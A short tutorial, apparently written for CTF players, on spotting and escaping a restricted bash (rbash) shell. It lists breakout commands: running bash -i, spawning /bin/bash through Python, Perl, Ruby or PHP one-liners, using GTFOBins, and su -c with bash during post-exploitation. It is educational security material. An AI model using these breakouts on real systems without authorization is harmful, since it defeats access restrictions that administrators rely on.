If you ever encounter with restricted shell environment (such as in CTF), this can be bypass using some of the following method. Before we get into how to bypass it, you need to identify if you're in restricted shell.
The simplest way to check if the user is in a restricted shell is by echo
echo $SHELL /bin/rbash
You're in restricted shell if the results is like
/bin/rbash and you cannot perform some basic redirections, pipes or even having a forward slash in your commands.
$ echo "breakout rbash\!" > /tmp/test rbash: /tmp/test: restricted: cannot redirect output
1. Calling out bash as "interactive".
/bin is in your $PATH, then you're lucky. Note: even with
-i, the shell is not fully interactive. Find out here on how to upgrade to fully interactive shell.
$ /bin/bash -i rbash: /bin/bash: restricted: cannot specify `/' in command names $ echo $PATH /usr/local/sbin:/sbin:/usr/sbin:/usr/bin:/bin:/usr/local/games:/usr/games
/bin in PATH so you can execute bash directly.
$ bash -i
2. Using programming language to spawn shell
Most of the time, I use Python (or python3). This also gives you tty support. In case Python is not installed, you can try other programming language to spawn a shell.
- Use Python to spawn a shell.
$ python -c "import pty;pty.spawn('/bin/bash')"
- Using Perl to spawn a shell.
$ perl -e 'exec "/bin/bash";'
- Using Ruby to spawn a shell.
$ ruby -e 'exec "/bin/bash";'
- Using PHP to spawn a shell.
$ php -r "system('/bin/bash');"
3. Invoke shells through gtfo bins.
This is very useful sources. Since the page is very well written and easy to understand and navigate, I attach the link here for our reference. It can be used to break out from restricted environments by spawning an interactive system shell from some commands. Be sure to check it out! https://gtfobins.github.io/#+shell
4. If you have the credentials ready
Sometimes when performing post exploitation, you already have the credentials of the particular user but switching to that user, resulting you getting jailed in their restricted environment. This could be bypassed by calling
bash before you login(switch) to that user.
[email protected]$ su user -c "/bin/bash -i"
You can check your curent shell using the following command:
$ echo $0
If the above method successful, remember to export the proper $SHELL, $PATH env variables.
Taking it further!
After successfully breakout the restricted shells, you can now performing bash command redirection, output piping and even
cd to different directories (with forward slashes).
$ echo "breakout rbash\!" > /tmp/test $ ls -l /tmp/test -rw-r--r-- 1 ctf ctf 16 Apr 8 00:47 /tmp/test $ cd /tmp $ cat test breakout rbash!
In case you cannot using tab auto-completion, job controls, or using arrow keys to navigate through commands, you might want to upgrade your shell to fully interactive shell. Check out this guide I made on how you can upgrade dumb terminal to fully interactive tty shell.